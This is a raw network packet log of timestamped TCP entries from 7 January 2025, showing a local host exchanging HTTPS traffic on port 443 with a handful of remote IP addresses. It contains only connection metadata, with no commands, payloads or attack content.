Jan 7, 2025 15:18:25.774327993 CET	443	49727	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.775736094 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:25.775945902 CET	49729	443	192.168.2.16	151.101.66.137
Jan 7, 2025 15:18:25.775968075 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:25.776945114 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:25.777024031 CET	49729	443	192.168.2.16	151.101.66.137
Jan 7, 2025 15:18:25.777295113 CET	49729	443	192.168.2.16	151.101.66.137
Jan 7, 2025 15:18:25.777354956 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:25.777435064 CET	49729	443	192.168.2.16	151.101.66.137
Jan 7, 2025 15:18:25.808854103 CET	443	49727	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.808914900 CET	49727	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:25.808922052 CET	443	49727	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.809135914 CET	443	49727	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.809189081 CET	49727	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:25.809195042 CET	443	49727	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.809238911 CET	443	49727	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.809278965 CET	49727	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:25.809286118 CET	443	49727	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.809577942 CET	443	49727	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.809623003 CET	49727	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:25.809631109 CET	443	49727	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.809859991 CET	443	49727	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.809910059 CET	49727	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:25.809916973 CET	443	49727	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.810179949 CET	443	49727	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.810214043 CET	443	49727	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.810228109 CET	49727	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:25.810235023 CET	443	49727	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.810271978 CET	443	49727	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.810275078 CET	49727	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:25.810283899 CET	443	49727	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.810326099 CET	49727	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:25.810775042 CET	443	49727	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.810928106 CET	443	49727	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.810969114 CET	49727	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:25.810976028 CET	443	49727	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.811033010 CET	443	49727	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.811064005 CET	443	49727	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.811083078 CET	49727	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:25.811090946 CET	443	49727	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.811125994 CET	49727	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:25.811207056 CET	443	49727	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.811769962 CET	443	49727	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.811820984 CET	49727	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:25.811831951 CET	443	49727	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.811841965 CET	443	49727	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.811887980 CET	49727	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:25.812083006 CET	49727	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:25.812093973 CET	443	49727	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.819330931 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:25.820106983 CET	49729	443	192.168.2.16	151.101.66.137
Jan 7, 2025 15:18:25.820118904 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:25.822357893 CET	49730	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:25.822411060 CET	443	49730	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:25.822469950 CET	49730	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:25.822909117 CET	49730	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:25.822922945 CET	443	49730	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:25.838072062 CET	49731	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:25.838114977 CET	443	49731	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.838191986 CET	49731	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:25.838371992 CET	49731	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:25.838387012 CET	443	49731	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:25.840951920 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.840996981 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.841022968 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.841057062 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.841065884 CET	49728	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.841078043 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.841126919 CET	49728	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.841173887 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.841214895 CET	49728	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.841221094 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.841541052 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.841587067 CET	49728	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.841594934 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.845568895 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.845623016 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.845634937 CET	49728	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.845644951 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.845684052 CET	49728	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.868153095 CET	49729	443	192.168.2.16	151.101.66.137
Jan 7, 2025 15:18:25.878273010 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:25.878509045 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:25.878536940 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:25.878561974 CET	49729	443	192.168.2.16	151.101.66.137
Jan 7, 2025 15:18:25.878573895 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:25.878612041 CET	49729	443	192.168.2.16	151.101.66.137
Jan 7, 2025 15:18:25.878624916 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:25.878671885 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:25.878711939 CET	49729	443	192.168.2.16	151.101.66.137
Jan 7, 2025 15:18:25.878721952 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:25.879256964 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:25.879307032 CET	49729	443	192.168.2.16	151.101.66.137
Jan 7, 2025 15:18:25.879318953 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:25.879606009 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:25.879662037 CET	49729	443	192.168.2.16	151.101.66.137
Jan 7, 2025 15:18:25.879668951 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:25.906958103 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:25.907016039 CET	49729	443	192.168.2.16	151.101.66.137
Jan 7, 2025 15:18:25.907027006 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:25.931891918 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.931935072 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.931984901 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.932003021 CET	49728	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.932020903 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.932058096 CET	49728	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.932065010 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.932362080 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.932410002 CET	49728	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.932416916 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.932626963 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.932665110 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.932672024 CET	49728	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.932678938 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.932715893 CET	49728	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.933007002 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.933088064 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.933135033 CET	49728	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.933142900 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.933607101 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.933656931 CET	49728	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.933662891 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.933693886 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.933732986 CET	49728	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.933739901 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.933866978 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.933895111 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.933907986 CET	49728	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.933919907 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.933955908 CET	49728	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.934504032 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.934606075 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.934644938 CET	49728	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.934652090 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.948288918 CET	49729	443	192.168.2.16	151.101.66.137
Jan 7, 2025 15:18:25.968805075 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:25.968974113 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:25.969003916 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:25.969022036 CET	49729	443	192.168.2.16	151.101.66.137
Jan 7, 2025 15:18:25.969029903 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:25.969074965 CET	49729	443	192.168.2.16	151.101.66.137
Jan 7, 2025 15:18:25.969113111 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:25.969182014 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:25.969218969 CET	49729	443	192.168.2.16	151.101.66.137
Jan 7, 2025 15:18:25.969225883 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:25.969362974 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:25.969389915 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:25.969408989 CET	49729	443	192.168.2.16	151.101.66.137
Jan 7, 2025 15:18:25.969417095 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:25.969453096 CET	49729	443	192.168.2.16	151.101.66.137
Jan 7, 2025 15:18:25.969953060 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:25.970114946 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:25.970139027 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:25.970160007 CET	49729	443	192.168.2.16	151.101.66.137
Jan 7, 2025 15:18:25.970166922 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:25.970175982 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:25.970200062 CET	49729	443	192.168.2.16	151.101.66.137
Jan 7, 2025 15:18:25.970767021 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:25.970820904 CET	49729	443	192.168.2.16	151.101.66.137
Jan 7, 2025 15:18:25.970832109 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:25.971004009 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:25.971031904 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:25.971043110 CET	49729	443	192.168.2.16	151.101.66.137
Jan 7, 2025 15:18:25.971050024 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:25.971090078 CET	49729	443	192.168.2.16	151.101.66.137
Jan 7, 2025 15:18:25.971096039 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:25.971740007 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:25.971775055 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:25.971788883 CET	49729	443	192.168.2.16	151.101.66.137
Jan 7, 2025 15:18:25.971796989 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:25.971842051 CET	49729	443	192.168.2.16	151.101.66.137
Jan 7, 2025 15:18:25.975142956 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.975164890 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.975194931 CET	49728	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.975203991 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.975227118 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:25.975246906 CET	49728	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.975275993 CET	49728	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.975434065 CET	49728	443	192.168.2.16	104.17.25.14
Jan 7, 2025 15:18:25.975445986 CET	443	49728	104.17.25.14	192.168.2.16
Jan 7, 2025 15:18:26.059895039 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:26.059906006 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:26.059935093 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:26.059978962 CET	49729	443	192.168.2.16	151.101.66.137
Jan 7, 2025 15:18:26.059993982 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:26.060024977 CET	49729	443	192.168.2.16	151.101.66.137
Jan 7, 2025 15:18:26.060046911 CET	49729	443	192.168.2.16	151.101.66.137
Jan 7, 2025 15:18:26.061330080 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:26.061346054 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:26.061433077 CET	49729	443	192.168.2.16	151.101.66.137
Jan 7, 2025 15:18:26.061445951 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:26.061489105 CET	49729	443	192.168.2.16	151.101.66.137
Jan 7, 2025 15:18:26.061499119 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:26.061552048 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:26.061558008 CET	49729	443	192.168.2.16	151.101.66.137
Jan 7, 2025 15:18:26.061598063 CET	49729	443	192.168.2.16	151.101.66.137
Jan 7, 2025 15:18:26.061834097 CET	49729	443	192.168.2.16	151.101.66.137
Jan 7, 2025 15:18:26.061850071 CET	443	49729	151.101.66.137	192.168.2.16
Jan 7, 2025 15:18:26.274550915 CET	443	49730	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:26.274820089 CET	49730	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:26.274833918 CET	443	49730	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:26.275824070 CET	443	49730	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:26.275888920 CET	49730	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:26.276165009 CET	49730	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:26.276222944 CET	443	49730	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:26.276293039 CET	49730	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:26.276299953 CET	443	49730	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:26.299607038 CET	443	49731	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:26.299860954 CET	49731	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:26.299881935 CET	443	49731	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:26.300750971 CET	443	49731	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:26.300825119 CET	49731	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:26.301157951 CET	49731	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:26.301215887 CET	443	49731	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:26.301296949 CET	49731	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:26.301305056 CET	443	49731	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:26.329118967 CET	49730	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:26.344137907 CET	49731	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:26.423650980 CET	443	49730	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:26.423773050 CET	443	49730	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:26.423799992 CET	443	49730	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:26.423826933 CET	49730	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:26.423841953 CET	443	49730	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:26.423887014 CET	49730	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:26.423893929 CET	443	49730	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:26.424444914 CET	443	49730	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:26.424493074 CET	49730	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:26.424499035 CET	443	49730	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:26.424663067 CET	443	49730	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:26.424695015 CET	443	49730	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:26.424701929 CET	49730	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:26.424706936 CET	443	49730	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:26.424740076 CET	49730	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:26.428406000 CET	443	49730	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:26.459184885 CET	443	49731	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:26.459284067 CET	443	49731	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:26.459310055 CET	443	49731	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:26.459331036 CET	49731	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:26.459342957 CET	443	49731	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:26.459355116 CET	443	49731	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:26.459384918 CET	49731	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:26.459420919 CET	443	49731	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:26.459451914 CET	443	49731	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:26.459460974 CET	49731	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:26.459472895 CET	443	49731	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:26.459512949 CET	49731	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:26.459554911 CET	443	49731	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:26.464507103 CET	443	49731	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:26.464534044 CET	443	49731	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:26.464569092 CET	49731	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:26.464579105 CET	443	49731	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:26.464621067 CET	49731	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:26.473103046 CET	49730	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:26.473118067 CET	443	49730	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:26.520678043 CET	49730	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:26.552187920 CET	49732	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:26.552244902 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:26.552334070 CET	49732	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:26.553766012 CET	49732	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:26.553785086 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:26.558116913 CET	443	49730	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:26.558187008 CET	443	49730	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:26.558232069 CET	49730	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:26.558240891 CET	443	49730	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:26.558321953 CET	443	49730	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:26.558356047 CET	443	49730	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:26.558377981 CET	49730	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:26.558384895 CET	443	49730	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:26.558423996 CET	49730	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:26.558465958 CET	443	49730	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:26.558711052 CET	443	49730	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:26.558742046 CET	443	49730	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:26.558747053 CET	49730	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:26.558752060 CET	443	49730	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:26.558789015 CET	49730	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:26.558880091 CET	443	49730	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:26.558938026 CET	443	49730	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:26.558969021 CET	443	49730	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:26.558975935 CET	49730	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:26.558980942 CET	443	49730	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:26.559011936 CET	49730	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:26.559556007 CET	443	49730	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:26.559627056 CET	443	49730	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:26.559669971 CET	49730	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:26.559675932 CET	443	49730	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:26.559777021 CET	443	49730	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:26.559813976 CET	443	49730	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:26.559814930 CET	49730	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:26.559823990 CET	443	49730	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:26.559855938 CET	49730	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:26.559859991 CET	443	49730	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:26.560617924 CET	443	49730	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:26.560656071 CET	49730	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:26.560661077 CET	443	49730	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:26.560736895 CET	443	49730	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:26.560780048 CET	49730	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:26.560969114 CET	49730	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:26.560982943 CET	443	49730	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:26.571850061 CET	443	49731	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:26.572001934 CET	443	49731	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:26.572029114 CET	443	49731	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:26.572056055 CET	49731	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:26.572061062 CET	443	49731	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:26.572072029 CET	443	49731	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:26.572109938 CET	49731	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:26.572345972 CET	443	49731	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:26.572387934 CET	49731	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:26.572391033 CET	443	49731	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:26.572408915 CET	443	49731	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:26.572441101 CET	49731	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:26.572449923 CET	443	49731	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:26.572498083 CET	443	49731	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:26.572540045 CET	49731	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:26.573282003 CET	49731	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:26.573297024 CET	443	49731	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:26.607567072 CET	49733	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:26.607594967 CET	443	49733	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:26.607662916 CET	49733	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:26.607868910 CET	49733	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:26.607884884 CET	443	49733	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.029880047 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.030181885 CET	49732	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.030199051 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.030487061 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.031049013 CET	49732	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.031106949 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.031222105 CET	49732	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.071338892 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.094855070 CET	443	49733	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.095182896 CET	49733	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.095202923 CET	443	49733	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.095534086 CET	443	49733	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.095895052 CET	49733	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.095957994 CET	443	49733	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.095993996 CET	49733	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.139333963 CET	443	49733	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.142133951 CET	49733	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:27.195310116 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.195353031 CET	443	49732	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:27.195383072 CET	443	49732	104.18.94.41	192.168.2.16
